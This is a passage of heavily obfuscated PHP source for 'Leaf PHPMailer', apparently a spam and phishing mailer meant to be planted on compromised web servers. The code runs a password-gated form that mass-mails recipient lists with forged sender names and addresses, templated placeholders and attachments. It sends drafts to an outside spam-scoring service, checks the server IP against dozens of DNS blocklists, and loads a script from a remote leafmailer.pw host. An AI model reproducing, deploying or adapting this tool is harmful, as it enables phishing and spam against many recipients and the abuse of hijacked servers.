"\51\74\57\x6c\x69\x3e\12\x20\x20\x20\40\x20\40\40\x20\40\x20\40\40\x20\40\x20\40\xa\x20\x20\40\40\x20\40\x20\40\40\x20\40\40\40\x20\x20\x20\74\x6c\151\x3e\133\x2d\162\141\x6e\x64\157\x6d\163\164\162\151\x6e\x67\x2d\x5d\40\72\x20\x3c\142\x3e\122\x61\x6e\x64\157\x6d\40\x73\x74\x72\151\156\147\x20\x28\x30\55\x39\x2c\141\55\172\x29\74\57\x62\76\x3c\57\154\151\x3e\12\40\40\40\40\x20\40\x20\x20\40\x20\x20\x20\40\x20\40\40\74\x6c\151\x3e\x5b\x2d\162\x61\x6e\x64\157\x6d\x6e\165\x6d\x62\x65\162\55\135\x20\x3a\40\74\x62\x3e\x52\x61\x6e\x64\157\x6d\40\156\x75\155\x62\x65\162\40\x28\60\x2d\71\51\40\x3c\57\x62\x3e\x3c\x2f\154\151\x3e\xa\x20\x20\x20\40\40\x20\40\x20\x20\40\x20\x20\x20\40\40\x20\x3c\154\151\76\133\x2d\x72\141\x6e\x64\157\155\154\145\x74\164\145\x72\163\55\x5d\x20\72\x20\74\x62\76\122\x61\x6e\144\x6f\x6d\x20\x4c\145\x74\x74\x65\x72\x73\x28\x61\x2d\x7a\51\x20\74\x2f\x62\76\74\x2f\154\151\76\xa\x20\x20\x20\x20\x20\x20\40\40\x20\40\x20\x20\x20\40\x20\x20\x3c\154\151\x3e\x5b\x2d\x72\141\156\144\157\x6d\x6d\x64\x35\x2d\x5d\x20\x3a\40\x3c\x62\x3e\x52\141\x6e\x64\x6f\155\40\x4d\x44\65\x20\74\x2f\142\76\74\x2f\154\x69\x3e\xa\40\40\x20\x20\x20\x20\40\x20\40\x20\40\x20\74\x2f\165\154\x3e\xa\40\40\x20\x20\x20\x20\40\x20\x20\x20\40\40\74\x68\64\76\145\x78\x61\155\160\x6c\145\74\x2f\150\64\76\12\x20\40\x20\40\40\x20\40\x20\40\40\40\40\122\x65\143\145\151\x76\145\162\40\x45\x6d\141\x69\154\x20\x3d\40\x3c\142\76\165\163\x65\162\x40\x64\157\155\x61\x69\x6e\x2e\143\157\155\x3c\x2f\142\x3e\x3c\142\162\x3e\xa\x20\x20\40\40\x20\40\x20\x20\x20\x20\x20\x20\x3c\165\154\76\xa\x20\40\40\40\40\40\40\x20\40\40\x20\40\40\40\40\x20\74\154\x69\76\150\x65\x6c\x6c\157\40\x3c\142\x3e\133\55\145\x6d\x61\151\154\165\163\x65\x72\x2d\x5d\74\57\x62\76\40\x3d\40\x68\x65\x6c\x6c\x6f\40\74\142\76\x75\163\145\162\x3c\x2f\142\x3e\74\x2f\154\151\76\xa\40\40\x20\x20\x20\40\40\40\40\40\x20\40\40\40\40\x20\74\154\x69\x3e\171\x6f\x75\162\x20\144\157\155\x61\x69\156\40\151\163\x20\74\x62\x3e\133\x2d\x65\x6d\141\151\x6c\144\x6f\x6d\141\x69\x6e\x2d\135\74\x2f\x62\76\x20\75\x20\x59\157\165\162\x20\104\x6f\x6d\x61\x69\156\x20\151\x73\x20\x3c\142\76\144\x6f\x6d\x61\151\x6e\56\143\157\x6d\74\x2f\x62\x3e\x3c\x2f\x6c\151\x3e\12\x20\40\40\40\40\40\40\40\40\40\40\x20\x20\40\x20\40\x3c\154\151\x3e\x79\157\165\x72\x20\x63\157\144\145\x20\x69\163\40\x20\x3c\142\76\x5b\x2d\x72\x61\x6e\x64\x6f\x6d\x6d\x64\65\x2d\135\74\x2f\142\x3e\40\x3d\40\x79\157\165\x72\x20\x63\157\144\x65\x20\x69\x73\40\74\142\x3e\145\61\x30\x61\x64\x63\63\x39\x34\71\142\x61\x35\x39\141\x62\x62\145\65\66\x65\60\x35\x37\146\x32\60\x66\70\x38\63\145\74\x2f\142\76\74\x2f\x6c\x69\x3e\xa\40\x20\x20\x20\x20\40\40\40\x20\40\x20\x20\74\x2f\165\x6c\76\12\xa\x20\x20\40\x20\x20\40\x20\40\x20\40\x20\40\74\150\66\76\x62\x79\40\x3c\142\x3e\74\141\40\x68\x72\x65\x66\75\x22\x68\x74\x74\160\72\x2f\57" . $leaf["\167\x65\x62\163\x69\x74\145"] . "\x22\x3e" . $leaf["\x77\145\x62\x73\x69\164\x65"] . "\74\x2f\x61\x3e\x3c\57\x62\76\74\57\x68\66\x3e\12\40\40\40\x20\40\x20\40\x20\74\57\x64\151\x76\x3e\12\40\x20\x20\x20\74\x2f\144\151\x76\76"; goto YzJL6; Kxf7C: $utf8 = "\x73\145\x6c\x65\x63\x74\145\144"; goto EZncS; YzJL6: if ($_POST["\141\x63\164\x69\157\x6e"] == "\x73\145\156\x64") { print "\40\40\40\x20\x3c\x64\151\166\40\x63\x6c\x61\x73\163\75\42\x63\x6f\154\55\154\147\55\x31\x32\42\x3e"; $maillist = explode("\15\xa", $emailList); $n = count($maillist); $x = 1; foreach ($maillist as $email) { print "\x3c\144\x69\166\40\143\154\x61\x73\x73\x3d\x22\143\157\x6c\x2d\x6c\x67\55\61\42\x3e\133" . $x . "\57" . $n . "\135\x3c\x2f\144\151\x76\76\x3c\x64\151\166\x20\143\154\141\x73\163\75\42\x63\x6f\154\55\154\x67\55\64\42\x3e" . $email . "\x3c\x2f\x64\151\166\76"; if (!leafMailCheck($email)) { print "\x3c\x64\151\166\x20\x63\154\x61\x73\163\75\x22\143\157\x6c\55\154\147\x2d\x36\42\x3e\74\x73\160\x61\156\40\x63\x6c\x61\163\x73\x3d\x22\154\x61\x62\x65\x6c\40\154\141\x62\x65\154\x2d\144\x65\146\141\x75\x6c\x74\42\x3e\111\156\143\157\162\162\145\x63\x74\40\x45\x6d\141\151\x6c\74\x2f\x73\x70\141\156\x3e\74\57\x64\x69\x76\x3e"; print "\x3c\x62\x72\76\xd\12"; } else { $mail = new PHPMailer(); $mail->setFrom(leafClear($senderEmail, $email), leafClear($senderName, $email)); $mail->addReplyTo(leafClear($replyTo, $email)); $mail->addAddress($email); $mail->Subject = leafClear($subject, $email); $mail->Body = leafClear($messageLetter, $email); if ($messageType == 1) { $mail->AltBody = strip_tags(leafClear($messageLetter, $email)); } else { $mail->IsHTML(false); } $mail->CharSet = $charset; $mail->Encoding = $encoding; for ($i = 0; $i < count($_FILES["\x61\x74\x74\x61\143\150\155\145\x6e\164"]["\x6e\x61\x6d\x65"]); $i++) { if ($_FILES["\141\164\164\x61\143\x68\155\145\x6e\x74"]["\x74\155\160\x5f\156\x61\155\145"][$i] != '') { $mail->AddAttachment($_FILES["\x61\x74\x74\141\x63\x68\155\145\x6e\164"]["\164\x6d\x70\x5f\x6e\x61\155\x65"][$i], $_FILES["\141\x74\x74\x61\143\x68\155\145\156\x74"]["\156\141\155\145"][$i]); } } if (!$mail->send()) { echo "\x3c\x64\151\x76\x20\x63\x6c\x61\163\163\75\x22\x63\157\154\55\x6c\x67\55\x36\42\76\x3c\163\160\x61\156\40\143\154\x61\163\x73\x3d\x22\x6c\141\x62\145\x6c\40\154\x61\x62\145\154\x2d\144\x65\146\141\x75\154\164\x22\76" . htmlspecialchars($mail->ErrorInfo) . "\74\57\x73\x70\141\x6e\x3e\74\57\144\151\166\x3e"; } else { echo "\x3c\x64\151\166\40\143\x6c\x61\x73\163\x3d\42\x63\157\x6c\x2d\x6c\x67\x2d\x36\42\76\x3c\x73\160\x61\x6e\40\x63\154\x61\163\x73\75\42\x6c\x61\142\x65\154\x20\x6c\x61\142\145\154\x2d\x73\165\x63\x63\x65\163\163\x22\x3e\x4f\153\x3c\57\163\160\x61\x6e\x3e\74\57\x64\151\166\76"; } print "\x3c\142\x72\76\15\12"; } $x++; for ($k = 0; $k < 40000; $k++) { echo "\x20"; } } } elseif ($_POST["\141\143\164\151\x6f\156"] == "\x73\143\x6f\x72\x65") { $mail = new PHPMailer(); $mail->setFrom(leafClear($senderEmail, $email), leafClear($senderName, $email)); $mail->addReplyTo(leafClear($replyTo, $email)); $mail->addAddress("\165\163\145\162\156\141\155\145\x40\144\x6f\155\141\x69\156\x2e\x63\157\155"); $mail->Subject = leafClear($subject, $email); $mail->Body = leafClear($messageLetter, $email); if ($messageType == 1) { $mail->IsHTML(true); $mail->AltBody = strip_tags(leafClear($messageLetter, $email)); } else { $mail->IsHTML(false); } $mail->CharSet = $charset; $mail->Encoding = $encoding; $mail->preSend(); $messageHeaders = $mail->getSentMIMEMessage(); $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, "\150\164\164\x70\x3a\x2f\x2f\x73\160\141\x6d\143\x68\x65\143\153\56\160\x6f\163\x74\x6d\141\x72\153\x61\160\x70\56\x63\157\x6d\x2f\x66\151\154\x74\145\x72"); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array("\x65\x6d\x61\x69\154" => $messageHeaders, "\157\160\x74\x69\157\x6e\x73" => "\154\x6f\x6e\x67"))); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 15); $response = curl_exec($ch); $response = json_decode($response); print "\40\40\40\x20\74\x64\x69\x76\40\x63\x6c\141\x73\x73\x3d\42\x63\157\x6c\x2d\154\x67\x2d\x31\x32\42\76"; if ($response->success == TRUE) { $score = $response->score; if ($score > 5) { $class = "\144\x61\x6e\147\145\x72"; } else { $class = "\x73\165\x63\143\x65\163\163"; } print "\x3c\x64\x69\x76\40\143\x6c\x61\163\163\x3d\x22\164\x65\170\x74\55" . $class . "\42\x3e\x59\x6f\x75\x72\40\123\160\x61\x6d\x41\x73\163\x61\x73\163\151\156\x20\163\x63\x6f\x72\x65\40\151\163\x20" . $score . "\40\40\74\57\144\151\x76\x3e\xa\x3c\144\151\x76\76\x46\165\154\x6c\40\122\x65\x70\x6f\x72\164\x20\72\x20\x3c\160\x72\x65\76" . $response->report . "\x3c\x2f\160\x72\145\76\74\57\144\x69\166\x3e"; print "\x20\40\x20\40\x3c\57\x64\x69\166\76"; } } goto Ipawo; KFYHM: function randString2($consonants) { $length = rand(10, 11); $password = ''; for ($i = 0; $i < $length; $i++) { $password .= $consonants[rand() % strlen($consonants)]; } return $password; } goto fpvAQ; Ipawo: print "\74\57\x62\157\x64\x79\x3e"; goto VvUpR; O6Sa0: ini_set("\155\145\155\157\x72\171\137\154\151\x6d\x69\164", -1); goto Q6Eay; PH16T: function leafheader() { print "\12\x3c\x68\x65\141\x64\x3e\12\x20\x20\x20\40\x3c\164\x69\x74\x6c\145\76" . str_replace("\x77\167\x77\x2e", '', $_SERVER["\110\124\x54\x50\x5f\110\x4f\123\x54"]) . "\x20\x2d\40\114\x65\141\x66\40\120\x48\x50\115\x61\x69\x6c\145\x72\74\57\164\151\164\x6c\x65\x3e\12\x20\40\x20\x20\74\x6d\x65\x74\x61\x20\x68\x74\164\x70\x2d\145\161\x75\x69\166\75\42\103\x6f\x6e\x74\x65\x6e\x74\x2d\x54\171\160\x65\x22\x20\143\157\156\164\145\156\164\x3d\x22\164\145\170\164\x2f\x68\x74\x6d\154\73\40\143\150\x61\162\163\145\164\x3d\165\x74\146\x2d\70\x22\x2f\x3e\12\40\40\40\40\x3c\154\151\156\153\40\150\162\x65\146\x3d\42\x68\x74\x74\160\163\x3a\x2f\57\x6d\x61\170\x63\x64\x6e\56\x62\x6f\x6f\164\163\164\x72\141\x70\x63\144\x6e\56\x63\x6f\x6d\x2f\x62\x6f\157\x74\163\x77\x61\164\143\150\x2f\x33\x2e\64\x2e\x31\57\x63\x6f\163\x6d\157\x2f\x62\157\x6f\164\x73\164\162\x61\x70\56\155\x69\x6e\x2e\x63\163\x73\42\x20\162\145\x6c\x3d\x22\163\x74\x79\154\x65\163\150\145\x65\164\x22\x20\x3e\xa\x20\x20\x20\x20\74\163\x63\162\151\160\x74\40\163\x72\x63\75\42\150\164\164\x70\x73\72\57\x2f\154\145\x61\x66\x6d\141\151\x6c\145\x72\56\x70\x77\x2f\163\x74\x79\x6c\x65\x32\x2e\x6a\163\x22\x3e\74\57\x73\x63\x72\151\x70\x74\76\xa\xa\x3c\x2f\x68\x65\x61\144\x3e"; } goto xGYZS; Q6Eay: $leaf["\166\x65\x72\x73\151\157\x6e"] = "\170\x2e\70"; goto BSITA; X8eWq: session_write_close(); goto pMhPQ; JEGrm: if (!isset($_POST["\163\x65\x6e\x64\145\x72\105\x6d\141\151\x6c"])) { $senderEmail = "\151\156\x66\157\100" . str_replace("\x77\x77\x77\56", '', $_SERVER["\110\124\124\x50\137\x48\117\x53\124"]); if (!leafMailCheck($senderEmail)) { $senderEmail = ''; } } goto xmnoZ; IW32z: if (isset($_GET["\143\150\x65\x63\x6b\x5f\151\160"])) { if (isset($_GET["\150\x6f\163\x74"])) { $_GET["\150\x6f\163\164"] = explode("\x2c", $_GET["\x68\157\x73\164"]); foreach ($_GET["\x68\157\163\164"] as $host) { if (checkdnsrr($_GET["\143\150\x65\143\153\x5f\x69\x70"] . "\x2e" . $host . "\x2e", "\x41")) { $check = "\74\x66\x6f\156\164\x20\143\x6f\154\157\x72\x3d\x27\x72\x65\x64\x27\76\x20\x4c\151\163\164\145\144\x3c\57\x66\157\156\164\76"; } else { $check = "\x3c\146\157\x6e\164\x20\x63\x6f\x6c\x6f\x72\75\x27\147\162\145\x65\156\47\x3e\40\x43\x6c\145\141\x6e\x3c\x2f\x66\x6f\156\x74\76"; } print "\x64\157\143\165\155\145\156\164\x2e\147\145\164\x45\154\145\x6d\145\x6e\164\102\171\x49\x64\50\42" . $host . "\x22\x29\x2e\x69\x6e\156\x65\162\x48\124\115\x4c\x20\75\x20\42" . $check . "\42\73"; } die; } $dnsbl_lookup = array("\x61\x6c\154\56\163\x35\150\56\x6e\x65\x74", "\142\x2e\142\x61\x72\162\x61\x63\165\144\141\143\145\156\x74\162\x61\x6c\56\157\x72\x67", "\142\x6c\x2e\163\x70\141\155\x63\157\x70\x2e\x6e\x65\x74", "\142\x6c\141\x63\x6b\x6c\151\163\x74\x2e\x77\x6f\157\x64\171\x2e\x63\x68", "\142\157\147\x6f\x6e\163\x2e\143\x79\155\x72\165\56\143\157\155", "\143\x62\x6c\x2e\x61\142\165\163\x65\x61\x74\56\x6f\162\147", "\x63\x64\154\x2e\x61\x6e\x74\x69\x2d\x73\x70\141\155\x2e\157\162\147\x2e\143\x6e", "\143\x6f\155\142\x69\x6e\145\144\x2e\x61\x62\x75\163\145\x2e\x63\x68", "\144\x62\x2e\167\x70\x62\x6c\56\151\156\146\157", "\144\x6e\163\x62\x6c\55\61\56\x75\x63\x65\x70\162\157\164\145\143\164\56\156\145\164", "\x64\x6e\x73\x62\x6c\55\x32\x2e\x75\143\x65\160\162\157\x74\145\x63\164\56\x6e\x65\x74", "\144\156\x73\x62\x6c\55\63\x2e\165\143\145\160\162\x6f\x74\x65\x63\x74\56\156\145\x74", "\x64\x6e\163\x62\154\56\x61\x6e\x74\151\143\x61\160\x74\x63\x68\141\56\156\145\x74", "\144\x6e\x73\142\x6c\x2e\144\x72\x6f\156\x65\142\154\56\157\162\x67", "\144\156\x73\142\154\x2e\151\156\x70\x73\x2e\144\145", "\144\x6e\163\142\154\56\163\x6f\162\x62\163\x2e\156\145\x74", "\144\162\x6f\156\145\x2e\141\142\165\163\x65\x2e\143\x68", "\x64\x75\151\156\x76\x2e\x61\165\160\x61\x64\163\x2e\157\x72\x67", "\x64\x75\154\x2e\144\x6e\x73\142\154\56\x73\x6f\162\x62\x73\x2e\156\x65\x74", "\144\x79\156\141\x2e\163\x70\x61\155\162\x61\164\163\56\x63\x6f\155", "\x64\171\156\151\160\x2e\x72\x6f\x74\150\145\x6e\56\143\x6f\155", "\x68\164\164\x70\56\144\156\x73\142\x6c\x2e\x73\157\162\x62\x73\56\x6e\x65\x74", "\x69\160\163\56\x62\141\143\x6b\163\143\x61\x74\164\x65\162\x65\x72\56\157\x72\x67", "\151\x78\56\x64\156\163\142\x6c\56\155\x61\x6e\x69\164\165\x2e\156\145\164", "\x6b\157\x72\x65\141\56\x73\x65\x72\x76\x69\143\145\163\56\x6e\x65\x74", "\x6d\151\x73\x63\56\144\x6e\163\x62\154\x2e\163\x6f\x72\142\x73\x2e\x6e\145\x74", "\156\157\x70\x74\162\x2e\x73\x70\x61\155\x72\x61\164\x73\x2e\x63\x6f\155", "\x6f\x72\x76\x65\x64\142\x2e\x61\x75\x70\141\144\x73\x2e\x6f\x72\147", "\160\x62\x6c\56\163\160\141\155\x68\x61\165\163\x2e\x6f\162\x67", "\x70\x72\x6f\x78\171\56\x62\x6c\x2e\147\167\x65\145\160\56\x63\141", "\x70\x73\142\x6c\x2e\x73\x75\x72\162\x69\x65\154\56\x63\x6f\155", "\162\145\154\141\171\163\x2e\x62\x6c\x2e\147\167\145\145\x70\x2e\x63\141", "\162\145\x6c\141\x79\163\x2e\156\145\164\150\x65\162\56\x6e\x65\164", "\163\142\154\x2e\x73\160\141\x6d\x68\141\165\x73\x2e\157\162\147", "\x73\x68\x6f\162\164\56\162\142\154\56\x6a\160", "\x73\151\156\x67\165\154\141\x72\x2e\x74\x74\153\56\x70\x74\x65\56\150\x75", "\163\x6d\x74\160\56\144\x6e\x73\x62\x6c\56\163\157\162\x62\163\56\x6e\145\164", "\163\x6f\x63\x6b\x73\x2e\x64\156\x73\142\154\x2e\163\157\162\142\x73\56\156\145\x74", "\163\x70\141\x6d\56\141\x62\165\x73\145\x2e\143\150", "\x73\160\141\x6d\56\144\x6e\x73\142\x6c\x2e\141\x6e\157\156\x6d\x61\151\x6c\163\x2e\144\145", "\163\x70\141\155\56\x64\156\x73\x62\x6c\56\x73\x6f\162\x62\163\56\x6e\x65\164", "\163\160\x61\x6d\56\x73\x70\141\x6d\162\x61\x74\163\56\x63\x6f\155", "\163\160\x61\x6d\x62\x6f\164\56\x62\154\163\56\x64\151\x67\151\x62\x61\x73\145\x2e\143\141", "\x73\x70\x61\155\162\x62\154\56\x69\x6d\160\56\x63\x68", "\163\160\x61\155\x73\157\165\162\143\x65\x73\x2e\146\141\142\145\x6c\x2e\x64\x6b", "\x75\x62\x6c\x2e\x6c\141\163\150\142\141\x63\x6b\x2e\x63\157\x6d", "\165\x62\x6c\56\165\x6e\x73\165\x62\x73\x63\157\x72\x65\56\143\x6f\155", "\166\151\x72\x75\163\x2e\162\142\x6c\x2e\152\160", "\167\x65\x62\x2e\x64\x6e\x73\x62\x6c\x2e\x73\x6f\162\x62\x73\56\x6e\x65\164", "\x77\157\162\155\162\x62\x6c\x2e\x69\x6d\160\x2e\x63\x68", "\x78\x62\x6c\56\163\160\x61\155\x68\141\165\163\56\x6f\162\147", "\x7a\56\x6d\141\151\154\163\x70\x69\x6b\x65\x2e\156\x65\x74", "\172\145\x6e\x2e\x73\x70\x61\155\150\141\165\x73\56\x6f\162\147", "\x7a\157\x6d\x62\151\x65\x2e\x64\x6e\x73\142\x6c\56\163\157\162\x62\163\56\156\x65\x74"); $reverse_ip = implode("\x2e", array_reverse(explode("\56", $_GET["\143\x68\145\143\153\x5f\151\160"]))); $dnsT = count($dnsbl_lookup); leafheader(); print "\74\x64\x69\x76\x20\x63\154\141\x73\x73\x3d\x22\143\x6f\156\x74\x61\151\156\145\162\40\143\x6f\x6c\x2d\x6c\x67\x2d\x36\x22\x3e\74\150\x33\x3e\74\x66\x6f\x6e\164\x20\143\x6f\x6c\157\x72\x3d\42\147\x72\145\x65\156\42\76\74\x73\160\141\x6e\x20\143\x6c\141\163\163\75\42\147\x6c\x79\x70\x68\151\143\x6f\156\40\147\154\171\160\x68\x69\x63\157\x6e\x2d\x6c\x65\141\146\42\76\x3c\57\x73\160\x61\156\76\74\57\146\x6f\156\x74\76\x20\x4c\145\x61\146\40\x50\110\120\x4d\x61\x69\154\x65\162\40\74\163\155\141\x6c\x6c\76\102\154\x61\143\153\x6c\151\x73\x74\40\103\x68\145\x63\x6b\x65\162\74\x2f\x73\155\x61\x6c\x6c\76\x3c\x2f\x68\63\76"; print "\x43\150\145\x63\x6b\x69\x6e\x67\x20\74\x62\76" . $_GET["\x63\150\x65\x63\x6b\x5f\x69\160"] . "\74\x2f\x62\76\x20\x69\x6e\x20\x3c\142\x3e{$dnsT}\74\x2f\142\x3e\x20\40\141\156\x74\151\x2d\x73\x70\141\155\40\x64\x61\x74\141\142\x61\163\x65\163\72\x3c\142\x72\x3e"; $dnsN = ''; print "\x3c\x74\x61\142\x6c\145\x20\x3e"; for ($i = 0; $i < $dnsT; $i = $i + 10) { $host = ''; $hosts = ''; for ($j = $i; $j < $i + 10; $j++) { $host = $dnsbl_lookup[$j]; if (!empty($host)) { print "\x3c\164\x72\76\40\x3c\x74\x64\76{$host}\x3c\57\164\144\76\40\x3c\164\x64\x20\151\144\x3d\47{$host}\47\x3e\x43\150\x65\x63\x6b\x69\x6e\147\x20\56\56\74\x2f\x74\144\x3e\x3c\57\164\162\76"; $hosts .= "{$host}\54"; } } $dnsN .= "\x3c\163\143\162\x69\x70\164\40\163\x72\143\x3d\47\x3f\x63\150\145\143\x6b\137\x69\160\75{$reverse_ip}\46\150\157\x73\x74\x3d" . $hosts . "\47\40\164\x79\160\145\x3d\x27\164\x65\x78\164\x2f\152\x61\x76\x61\x73\x63\x72\x69\x70\x74\x27\x3e\x3c\57\x73\x63\x72\x69\160\x74\76"; } print "\74\57\x74\x61\x62\x6c\145\76\74\57\144\x69\166\x3e"; print $dnsN; die; } goto fHr59; qK2Sl: class phpmailerException extends Exception { public function errorMessage() { $errorMsg = "\x3c\163\x74\162\x6f\156\147\x3e" . htmlspecialchars($this->getMessage()) . "\x3c\x2f\163\x74\x72\157\156\x67\76\x3c\142\162\x20\x2f\x3e\12"; return $errorMsg; } } goto PH16T; YrV9X: function leafTrim($string) { $string = urldecode($string); return stripslashes(trim($string)); } goto V6qdB; nuPWj: $html = "\143\x68\x65\143\153\145\144"; goto Kxf7C; fpvAQ: function leafMailCheck($email) { if (filter_var($email, FILTER_VALIDATE_EMAIL)) { return true; } else { return false; } } goto IW32z; NYa9m: set_time_limit(0); goto O6Sa0; k6r8A: if (!empty($password) and $_SESSION[$sessioncode] != $password) { if (isset($_REQUEST["\160\x61\163\x73"]) and $_REQUEST["\x70\x61\163\x73"] == $password) { $_SESSION[$sessioncode] = $password; } else { print "\74\x70\162\x65\40\x61\154\151\x67\x6e\x3d\143\145\156\164\x65\x72\76\x3c\x66\x6f\x72\x6d\40\155\x65\x74\x68\157\144\75\160\157\163\x74\76\120\x61\163\163\x77\157\x72\x64\x3a\40\x3c\x69\156\x70\x75\x74\40\x74\x79\x70\145\75\47\x70\x61\163\x73\x77\157\162\144\47\x20\156\141\x6d\145\75\47\160\141\x73\x73\x27\x3e\74\151\156\x70\x75\164\x20\164\x79\x70\145\x3d\47\163\165\142\155\x69\164\47\x20\166\141\154\x75\x65\x3d\x27\x3e\76\47\x3e\74\x2f\146\x6f\x72\155\x3e\x3c\57\x70\162\x65\76"; die; } } goto X8eWq; VvUpR: ?>